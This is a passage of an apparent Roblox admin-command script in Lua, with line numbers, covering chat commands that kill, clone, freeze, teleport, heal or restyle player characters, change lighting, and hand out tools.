  6645. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  6646. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  6647. hit.Parent.Humanoid:TakeDamage(Damage)
  6648. end
  6649. end)
  6650. script.Parent.Activated:connect(function()
  6651. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  6652. script.Parent.Enabled = false
  6653. local tick = game:service("RunService").Stepped:wait()
  6654. if tick - last <= .2 then
  6655. LungeSound:play()
  6656. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  6657. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  6658. wait(.2)
  6659. script.Parent.GripForward = Vector3.new(0,0,1)
  6660. script.Parent.GripRight = Vector3.new(0,-1,0)
  6661. script.Parent.GripUp = Vector3.new(-1,0,0)
  6662. wait(.3)
  6663. frc:Destroy() wait(.5)
  6664. script.Parent.GripForward = Vector3.new(-1,0,0)
  6665. script.Parent.GripRight = Vector3.new(0,1,0)
  6666. script.Parent.GripUp = Vector3.new(0,0,1)
  6667. else
  6668. SlashSound:play()
  6669. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  6670. end
  6671. last = tick
  6672. script.Parent.Enabled = true
  6673. end)
  6674. script.Parent.Equipped:connect(function(mouse)
  6675. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  6676. UnsheathSound:play()
  6677. script.Parent.Enabled = true
  6678. if not mouse then return end
  6679. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  6680. end)]] cl.Disabled = false
  6681. end
  6682. end))
  6683. end
  6684. end
  6685.  
  6686. if msg:lower():sub(1,6) == "clone " then
  6687. local plrz = GetPlr(plr, msg:lower():sub(7))
  6688. for i, v in pairs(plrz) do
  6689. coroutine.resume(coroutine.create(function()
  6690. if v and v.Character then
  6691. v.Character.Archivable = true
  6692. local cl = v.Character:Clone()
  6693. table.insert(objects,cl)
  6694. cl.Parent = game.Workspace
  6695. cl:MoveTo(v.Character:GetModelCFrame().p)
  6696. cl:MakeJoints()
  6697. v.Character.Archivable = false
  6698. end
  6699. end))
  6700. end
  6701. end
  6702.  
  6703. if msg:lower():sub(1,8) == "control " then
  6704. local plrz = GetPlr(plr, msg:lower():sub(9))
  6705. for i, v in pairs(plrz) do
  6706. coroutine.resume(coroutine.create(function()
  6707. if v and v.Character then
  6708. v.Character.Humanoid.PlatformStand = true
  6709. local w = Instance.new("Weld", plr.Character.Torso )
  6710. w.Part0 = plr.Character.Torso
  6711. w.Part1 = v.Character.Torso  
  6712. local w2 = Instance.new("Weld", plr.Character.Head)
  6713. w2.Part0 = plr.Character.Head
  6714. w2.Part1 = v.Character.Head  
  6715. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  6716. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  6717. w3.Part1 = v.Character:findFirstChild("Right Arm")
  6718. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  6719. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  6720. w4.Part1 = v.Character:findFirstChild("Left Arm")
  6721. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  6722. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  6723. w5.Part1 = v.Character:findFirstChild("Right Leg")
  6724. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  6725. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  6726. w6.Part1 = v.Character:findFirstChild("Left Leg")
  6727. plr.Character.Head.face:Destroy()
  6728. for i, p in pairs(v.Character:children()) do
  6729. if p:IsA("BasePart") then
  6730. p.CanCollide = false
  6731. end
  6732. end
  6733. for i, p in pairs(plr.Character:children()) do
  6734. if p:IsA("BasePart") then
  6735. p.Transparency = 1
  6736. elseif p:IsA("Hat") then
  6737. p:Destroy()
  6738. end
  6739. end
  6740. v.Character.Parent = plr.Character
  6741. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  6742. end
  6743. end))
  6744. end
  6745. end
  6746.  
  6747. if msg:lower():sub(1,5) == "kill " then
  6748. local plrz = GetPlr(plr, msg:lower():sub(6))
  6749. for i, v in pairs(plrz) do
  6750. coroutine.resume(coroutine.create(function()
  6751. if v and v.Character then v.Character:BreakJoints() end
  6752. end))
  6753. end
  6754. end
  6755.  
  6756. if msg:lower():sub(1,8) == "respawn " then
  6757. local plrz = GetPlr(plr, msg:lower():sub(9))
  6758. for i, v in pairs(plrz) do
  6759. coroutine.resume(coroutine.create(function()
  6760. if v and v.Character then v:LoadCharacter() end
  6761. end))
  6762. end
  6763. end
  6764.  
  6765. if msg:lower():sub(1,5) == "trip " then
  6766. local plrz = GetPlr(plr, msg:lower():sub(6))
  6767. for i, v in pairs(plrz) do
  6768. coroutine.resume(coroutine.create(function()
  6769. if v and v.Character and v.Character:findFirstChild("Torso") then
  6770. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  6771. end
  6772. end))
  6773. end
  6774. end
  6775.  
  6776. if msg:lower():sub(1,5) == "stun " then
  6777. local plrz = GetPlr(plr, msg:lower():sub(6))
  6778. for i, v in pairs(plrz) do
  6779. coroutine.resume(coroutine.create(function()
  6780. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  6781. v.Character.Humanoid.PlatformStand = true
  6782. end
  6783. end))
  6784. end
  6785. end
  6786.  
  6787. if msg:lower():sub(1,7) == "unstun " then
  6788. local plrz = GetPlr(plr, msg:lower():sub(8))
  6789. for i, v in pairs(plrz) do
  6790. coroutine.resume(coroutine.create(function()
  6791. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  6792. v.Character.Humanoid.PlatformStand = false
  6793. end
  6794. end))
  6795. end
  6796. end
  6797.  
  6798. if msg:lower():sub(1,5) == "jump " then
  6799. local plrz = GetPlr(plr, msg:lower():sub(6))
  6800. for i, v in pairs(plrz) do
  6801. coroutine.resume(coroutine.create(function()
  6802. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  6803. v.Character.Humanoid.Jump = true
  6804. end
  6805. end))
  6806. end
  6807. end
  6808.  
  6809. if msg:lower():sub(1,4) == "sit " then
  6810. local plrz = GetPlr(plr, msg:lower():sub(5))
  6811. for i, v in pairs(plrz) do
  6812. coroutine.resume(coroutine.create(function()
  6813. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  6814. v.Character.Humanoid.Sit = true
  6815. end
  6816. end))
  6817. end
  6818. end
  6819.  
  6820. if msg:lower():sub(1,10) == "invisible " then
  6821. local plrz = GetPlr(plr, msg:lower():sub(11))
  6822. for i, v in pairs(plrz) do
  6823. coroutine.resume(coroutine.create(function()
  6824. if v and v.Character then
  6825. for a, obj in pairs(v.Character:children()) do
  6826. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  6827. end
  6828. end
  6829. end))
  6830. end
  6831. end
  6832.  
  6833. if msg:lower():sub(1,8) == "visible " then
  6834. local plrz = GetPlr(plr, msg:lower():sub(9))
  6835. for i, v in pairs(plrz) do
  6836. coroutine.resume(coroutine.create(function()
  6837. if v and v.Character then
  6838. for a, obj in pairs(v.Character:children()) do
  6839. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  6840. end
  6841. end
  6842. end))
  6843. end
  6844. end
  6845.  
  6846. if msg:lower():sub(1,5) == "lock " then
  6847. local plrz = GetPlr(plr, msg:lower():sub(6))
  6848. for i, v in pairs(plrz) do
  6849. coroutine.resume(coroutine.create(function()
  6850. if v and v.Character then
  6851. for a, obj in pairs(v.Character:children()) do
  6852. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  6853. end
  6854. end
  6855. end))
  6856. end
  6857. end
  6858.  
  6859. if msg:lower():sub(1,7) == "unlock " then
  6860. local plrz = GetPlr(plr, msg:lower():sub(8))
  6861. for i, v in pairs(plrz) do
  6862. coroutine.resume(coroutine.create(function()
  6863. if v and v.Character then
  6864. for a, obj in pairs(v.Character:children()) do
  6865. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  6866. end
  6867. end
  6868. end))
  6869. end
  6870. end
  6871.  
  6872. if msg:lower():sub(1,8) == "explode " then
  6873. local plrz = GetPlr(plr, msg:lower():sub(9))
  6874. for i, v in pairs(plrz) do
  6875. coroutine.resume(coroutine.create(function()
  6876. if v and v.Character and v.Character:findFirstChild("Torso") then
  6877. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  6878. end
  6879. end))
  6880. end
  6881. end
  6882.  
  6883. if msg:lower():sub(1,4) == "age " then
  6884. local plrz = GetPlr(plr, msg:lower():sub(5))
  6885. for i, v in pairs(plrz) do
  6886. coroutine.resume(coroutine.create(function()
  6887. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  6888. end))
  6889. end
  6890. end
  6891.  
  6892. if msg:lower():sub(1,5) == "fire " then
  6893. local plrz = GetPlr(plr, msg:lower():sub(6))
  6894. for i, v in pairs(plrz) do
  6895. coroutine.resume(coroutine.create(function()
  6896. if v and v.Character and v.Character:findFirstChild("Torso") then
  6897. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  6898. end
  6899. end))
  6900. end
  6901. end
  6902.  
  6903. if msg:lower():sub(1,7) == "unfire " then
  6904. local plrz = GetPlr(plr, msg:lower():sub(8))
  6905. for i, v in pairs(plrz) do
  6906. coroutine.resume(coroutine.create(function()
  6907. if v and v.Character and v.Character:findFirstChild("Torso") then
  6908. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  6909. end
  6910. end))
  6911. end
  6912. end
  6913.  
  6914. if msg:lower():sub(1,6) == "smoke " then
  6915. local plrz = GetPlr(plr, msg:lower():sub(7))
  6916. for i, v in pairs(plrz) do
  6917. coroutine.resume(coroutine.create(function()
  6918. if v and v.Character and v.Character:findFirstChild("Torso") then
  6919. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  6920. end
  6921. end))
  6922. end
  6923. end
  6924.  
  6925. if msg:lower():sub(1,8) == "unsmoke " then
  6926. local plrz = GetPlr(plr, msg:lower():sub(9))
  6927. for i, v in pairs(plrz) do
  6928. coroutine.resume(coroutine.create(function()
  6929. if v and v.Character and v.Character:findFirstChild("Torso") then
  6930. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  6931. end
  6932. end))
  6933. end
  6934. end
  6935.  
  6936. if msg:lower():sub(1,9) == "sparkles " then
  6937. local plrz = GetPlr(plr, msg:lower():sub(10))
  6938. for i, v in pairs(plrz) do
  6939. coroutine.resume(coroutine.create(function()
  6940. if v and v.Character and v.Character:findFirstChild("Torso") then
  6941. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  6942. end
  6943. end))
  6944. end
  6945. end
  6946.  
  6947. if msg:lower():sub(1,11) == "unsparkles " then
  6948. local plrz = GetPlr(plr, msg:lower():sub(12))
  6949. for i, v in pairs(plrz) do
  6950. coroutine.resume(coroutine.create(function()
  6951. if v and v.Character and v.Character:findFirstChild("Torso") then
  6952. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  6953. end
  6954. end))
  6955. end
  6956. end
  6957.  
  6958. if msg:lower():sub(1,3) == "ff " then
  6959. local plrz = GetPlr(plr, msg:lower():sub(4))
  6960. for i, v in pairs(plrz) do
  6961. coroutine.resume(coroutine.create(function()
  6962. if v and v.Character then Instance.new("ForceField", v.Character) end
  6963. end))
  6964. end
  6965. end
  6966.  
  6967. if msg:lower():sub(1,5) == "unff " then
  6968. local plrz = GetPlr(plr, msg:lower():sub(6))
  6969. for i, v in pairs(plrz) do
  6970. coroutine.resume(coroutine.create(function()
  6971. if v and v.Character then
  6972. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  6973. end
  6974. end))
  6975. end
  6976. end
  6977.  
  6978. if msg:lower():sub(1,7) == "punish " then
  6979. local plrz = GetPlr(plr, msg:lower():sub(8))
  6980. for i, v in pairs(plrz) do
  6981. coroutine.resume(coroutine.create(function()
  6982. if v and v.Character then
  6983. v.Character.Parent = game:service("Lighting")
  6984. end
  6985. end))
  6986. end
  6987. end
  6988.  
  6989. if msg:lower():sub(1,9) == "unpunish " then
  6990. local plrz = GetPlr(plr, msg:lower():sub(10))
  6991. for i, v in pairs(plrz) do
  6992. coroutine.resume(coroutine.create(function()
  6993. if v and v.Character then
  6994. v.Character.Parent = game:service("Workspace")
  6995. v.Character:MakeJoints()
  6996. end
  6997. end))
  6998. end
  6999. end
  7000.  
  7001. if msg:lower():sub(1,7) == "freeze " then
  7002. local plrz = GetPlr(plr, msg:lower():sub(8))
  7003. for i, v in pairs(plrz) do
  7004. coroutine.resume(coroutine.create(function()
  7005. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  7006. for a, obj in pairs(v.Character:children()) do
  7007. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  7008. end
  7009. end
  7010. end))
  7011. end
  7012. end
  7013.  
  7014. if msg:lower():sub(1,5) == "thaw " then
  7015. local plrz = GetPlr(plr, msg:lower():sub(6))
  7016. for i, v in pairs(plrz) do
  7017. coroutine.resume(coroutine.create(function()
  7018. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  7019. for a, obj in pairs(v.Character:children()) do
  7020. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  7021. end
  7022. end
  7023. end))
  7024. end
  7025. end
  7026.  
  7027. if msg:lower():sub(1,5) == "heal " then
  7028. local plrz = GetPlr(plr, msg:lower():sub(6))
  7029. for i, v in pairs(plrz) do
  7030. coroutine.resume(coroutine.create(function()
  7031. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  7032. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  7033. end
  7034. end))
  7035. end
  7036. end
  7037.  
  7038. if msg:lower():sub(1,4) == "god " then
  7039. local plrz = GetPlr(plr, msg:lower():sub(5))
  7040. for i, v in pairs(plrz) do
  7041. coroutine.resume(coroutine.create(function()
  7042. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  7043. v.Character.Humanoid.MaxHealth = math.huge
  7044. v.Character.Humanoid.Health = 9e9
  7045. end
  7046. end))
  7047. end
  7048. end
  7049.  
  7050. if msg:lower():sub(1,6) == "ungod " then
  7051. local plrz = GetPlr(plr, msg:lower():sub(7))
  7052. for i, v in pairs(plrz) do
  7053. coroutine.resume(coroutine.create(function()
  7054. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  7055. v.Character.Humanoid.MaxHealth = 100
  7056. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  7057. end
  7058. end))
  7059. end
  7060. end
  7061.  
  7062. if msg:lower():sub(1,8) == "ambient " then
  7063. local chk1 = msg:lower():sub(9):find(" ") + 8
  7064. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  7065. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  7066. end
  7067.  
  7068. if msg:lower():sub(1,11) == "brightness " then
  7069. game.Lighting.Brightness = msg:sub(12)
  7070. end
  7071.  
  7072. if msg:lower():sub(1,5) == "time " then
  7073. game.Lighting.TimeOfDay = msg:sub(6)
  7074. end
  7075.  
  7076. if msg:lower():sub(1,9) == "fogcolor " then
  7077. local chk1 = msg:lower():sub(10):find(" ") + 9
  7078. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  7079. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  7080. end
  7081.  
  7082. if msg:lower():sub(1,7) == "fogend " then
  7083. game.Lighting.FogEnd = msg:sub(8)
  7084. end
  7085.  
  7086. if msg:lower():sub(1,9) == "fogstart " then
  7087. game.Lighting.FogStart = msg:sub(10)
  7088. end
  7089.  
  7090. if msg:lower():sub(1,7) == "btools " then
  7091. local plrz = GetPlr(plr, msg:lower():sub(8))
  7092. for i, v in pairs(plrz) do
  7093. coroutine.resume(coroutine.create(function()
  7094. if v and v:findFirstChild("Backpack") then
  7095. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  7096. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  7097. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  7098. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  7099. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  7100. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  7101. local sb
  7102. local hs
  7103. local pdist
  7104.  
  7105. script.Parent.Selected:connect(function(mouse)
  7106. if not mouse then return end
  7107. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  7108. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  7109. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  7110. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  7111. hs.MouseButton1Down:connect(function() pdist = 0 end)
  7112. end)
  7113.  
  7114. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  7115. end
  7116. end))
  7117. end
  7118. end
  7119.  
  7120. if msg:lower():sub(1,12) == "startergive " then
  7121. local chk1 = msg:lower():sub(13):find(" ") + 12
  7122. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  7123. for i, v in pairs(plrz) do
  7124. coroutine.resume(coroutine.create(function()
  7125. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  7126. for a, tool in pairs(game.Lighting:children()) do
  7127. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  7128. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  7129. end
  7130. end
  7131. end
  7132. end))
  7133. end
  7134. end
  7135.  
  7136. if msg:lower():sub(1,5) == "give " then
  7137. local chk1 = msg:lower():sub(6):find(" ") + 5
  7138. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  7139. for i, v in pairs(plrz) do
  7140. coroutine.resume(coroutine.create(function()
  7141. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  7142. for a, tool in pairs(game.Lighting:children()) do
  7143. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  7144. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  7145. end
  7146. end
  7147. end
  7148. end))
  7149. end
  7150. end
  7151.  
  7152. if msg:lower():sub(1,12) == "removetools " then
  7153. local plrz = GetPlr(plr, msg:lower():sub(13))
  7154. for i, v in pairs(plrz) do
  7155. coroutine.resume(coroutine.create(function()
  7156. if v and v.Character and v:findFirstChild("Backpack") then
  7157. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  7158. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  7159. end
  7160. end))
  7161. end
  7162. end
  7163.  
  7164. if msg:lower():sub(1,5) == "rank " then
  7165. local chk1 = msg:lower():sub(6):find(" ") + 5
  7166. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  7167. for i, v in pairs(plrz) do
  7168. coroutine.resume(coroutine.create(function()
  7169. if v and v:IsInGroup(msg:sub(chk1+1)) then
  7170. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  7171. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  7172. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  7173. end
  7174. end))
  7175. end
  7176. end
  7177.  
  7178. if msg:lower():sub(1,7) == "damage " then
  7179. local chk1 = msg:lower():sub(8):find(" ") + 7
  7180. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  7181. for i, v in pairs(plrz) do
  7182. coroutine.resume(coroutine.create(function()
  7183. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  7184. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  7185. end
  7186. end))
  7187. end
  7188. end
  7189.  
  7190. if msg:lower():sub(1,5) == "grav " then
  7191. local plrz = GetPlr(plr, msg:lower():sub(6))
  7192. for i, v in pairs(plrz) do
  7193. coroutine.resume(coroutine.create(function()
  7194. if v and v.Character and v.Character:findFirstChild("Torso") then
  7195. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  7196. end
  7197. end))
  7198. end
  7199. end
  7200.  
  7201. if msg:lower():sub(1,8) == "setgrav " then
  7202. local chk1 = msg:lower():sub(9):find(" ") + 8
  7203. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  7204. for i, v in pairs(plrz) do
  7205. coroutine.resume(coroutine.create(function()
  7206. if v and v.Character and v.Character:findFirstChild("Torso") then
  7207. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  7208. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  7209. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  7210. end
  7211. end))
  7212. end
  7213. end
  7214.  
  7215. if msg:lower():sub(1,7) == "nograv " then
  7216. local plrz = GetPlr(plr, msg:lower():sub(8))
  7217. for i, v in pairs(plrz) do
  7218. coroutine.resume(coroutine.create(function()
  7219. if v and v.Character and v.Character:findFirstChild("Torso") then
  7220. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  7221. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  7222. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  7223. end
  7224. end))
  7225. end
  7226. end
  7227.  
  7228. if msg:lower():sub(1,7) == "health " then
  7229. local chk1 = msg:lower():sub(8):find(" ") + 7
  7230. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  7231. for i, v in pairs(plrz) do
  7232. coroutine.resume(coroutine.create(function()
  7233. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  7234. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  7235. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  7236. end
  7237. end))
  7238. end
  7239. end
  7240.  
  7241. if msg:lower():sub(1,6) == "speed " then
  7242. local chk1 = msg:lower():sub(7):find(" ") + 6
  7243. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  7244. for i, v in pairs(plrz) do
  7245. coroutine.resume(coroutine.create(function()
  7246. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  7247. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  7248. end
  7249. end))
  7250. end
  7251. end
  7252.  
  7253. if msg:lower():sub(1,5) == "team " then
  7254. local chk1 = msg:lower():sub(6):find(" ") + 5
  7255. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  7256. for i, v in pairs(plrz) do
  7257. coroutine.resume(coroutine.create(function()
  7258. if v and game:findFirstChild("Teams") then
  7259. for a, tm in pairs(game.Teams:children()) do
  7260. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  7261. end
  7262. end
  7263. end))
  7264. end
  7265. end
  7266.  
  7267. if msg:lower():sub(1,6) == "place " then
  7268. local chk1 = msg:lower():sub(7):find(" ") + 6
  7269. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  7270. for i, v in pairs(plrz) do
  7271. coroutine.resume(coroutine.create(function()
  7272. if v and v:findFirstChild("PlayerGui") then
  7273. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  7274. end
  7275. end))
  7276. end
  7277. end
  7278.  
  7279. if msg:lower():sub(1,3) == "tp " then
  7280. local chk1 = msg:lower():sub(4):find(" ") + 3
  7281. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  7282. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  7283. for i, v in pairs(plrz) do
  7284. coroutine.resume(coroutine.create(function()
  7285. for i2, v2 in pairs(plrz2) do
  7286. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  7287. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  7288. end
  7289. end
  7290. end))
  7291. end
  7292. end
  7293.  
  7294. if msg:lower():sub(1,7) == "change " then
  7295. local chk1 = msg:lower():sub(8):find(" ") + 7
  7296. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  7297. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  7298. for i, v in pairs(plrz) do
  7299. coroutine.resume(coroutine.create(function()
  7300. if v and v:findFirstChild("leaderstats") then
  7301. for a, st in pairs(v.leaderstats:children()) do
  7302. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  7303. end
  7304. end
  7305. end))
  7306. end
  7307. end
  7308.  
  7309. if msg:lower():sub(1,6) == "shirt " then
  7310. local chk1 = msg:lower():sub(7):find(" ") + 6
  7311. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  7312. for i, v in pairs(plrz) do
  7313. coroutine.resume(coroutine.create(function()
  7314. if v and v.Character then
  7315. for i,v in pairs(v.Character:children()) do
  7316. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  7317. end
  7318. end
  7319. end))
  7320. end
  7321. end
  7322.  
  7323. if msg:lower():sub(1,6) == "pants " then
  7324. local chk1 = msg:lower():sub(7):find(" ") + 6
  7325. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  7326. for i, v in pairs(plrz) do
  7327. coroutine.resume(coroutine.create(function()
  7328. if v and v.Character then
  7329. for i,v in pairs(v.Character:children()) do
  7330. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  7331. end
  7332. end
  7333. end))
  7334. end
  7335. end
  7336.  
  7337. if msg:lower():sub(1,5) == "face " then
  7338. local chk1 = msg:lower():sub(6):find(" ") + 5
  7339. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  7340. for i, v in pairs(plrz) do
  7341. coroutine.resume(coroutine.create(function()
  7342. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  7343. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  7344. end
  7345. end))
  7346. end
  7347. end
  7348.  
  7349. ---------------------
  7350. --   FunCommands   --
  7351. ---------------------
  7352. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  7353.    
  7354. if msg:lower():sub(1,8) == "swagify " then
  7355. local plrz = GetPlr(plr, msg:lower():sub(9))
  7356. for i, v in pairs(plrz) do
  7357. coroutine.resume(coroutine.create(function()
  7358. if v and v.Character then
  7359. for i,v in pairs(v.Character:children()) do
  7360. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
